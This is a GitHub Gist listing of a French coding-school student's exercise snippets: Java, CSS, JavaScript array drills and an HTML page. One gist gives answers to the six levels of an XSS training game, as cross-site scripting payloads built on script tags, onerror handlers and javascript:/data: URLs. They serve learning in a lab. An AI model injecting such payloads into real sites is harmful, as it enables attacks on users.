Skip to content

Instantly share code, notes, and snippets.

View DamBKZ's full-sized avatar

Damien DamBKZ

View GitHub Profile
@DamBKZ
DamBKZ / Main.java
Created October 31, 2025 14:31
Installez l'environnement de développement intégré Eclipse pour Java.
package com.wildcodeschool;
public class MyFirstClass {
public static void main(String[] args) {
System.out.println("Hello world");
}
}
@DamBKZ
DamBKZ / réponses.txt
Created February 1, 2025 21:06
Réponses xss games
lvl 1 : <script>alert()</script>
lvl 2 : <img src='x' onerror='alert()'>
lvl 3 : 1' onerror='alert();//
lvl 4 : 3'**alert());//
lvl 5 : https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert()
lvl6 : https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss')
@DamBKZ
DamBKZ / Style.css
Created October 10, 2024 08:52
Quête principale manipulation du DOM
* {
box-sizing: border-box;
}
body {
padding: 0;
margin: 0;
font-family: roboto, sans-serif;
}
h1 {
padding: 0;
@DamBKZ
DamBKZ / script.js
Last active October 9, 2024 19:11
Quête - Tableaux avancés
const instructors = [
{
name: 'John',
availability: 'all',
specialities: ['Javascript', 'Python', 'C++']
},
{
name: 'Mary',
availability: 'weekend',
specialities: ['Javascript', 'Ruby', 'C++']
@DamBKZ
DamBKZ / script.js
Created October 9, 2024 19:01
Quête Tableaux - Pratique des méthodes courantes
const mysteriousString = `iu@zfiz)!uzqzf!snoi??alutargnocze&gfuzyafzygfzmgfu%f`;
console.log('step 0 : ', mysteriousString);
const step1 = mysteriousString.split('');
console.log('step 1 : ', step1);
// step2 : get a slice of the array : take elements from the 15th included to the 32nd excluded (remember indexes start at 0 !)
const step2 = step1.slice(14,31);
console.log('step 2 : ', step2);
@DamBKZ
DamBKZ / index.html
Created September 26, 2024 10:13
CSS CARD
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Présentation du designer graphique Etienne Robial">
<title>Etienne Robial</title>
<link rel="stylesheet" href="style.css">
</head>
<body>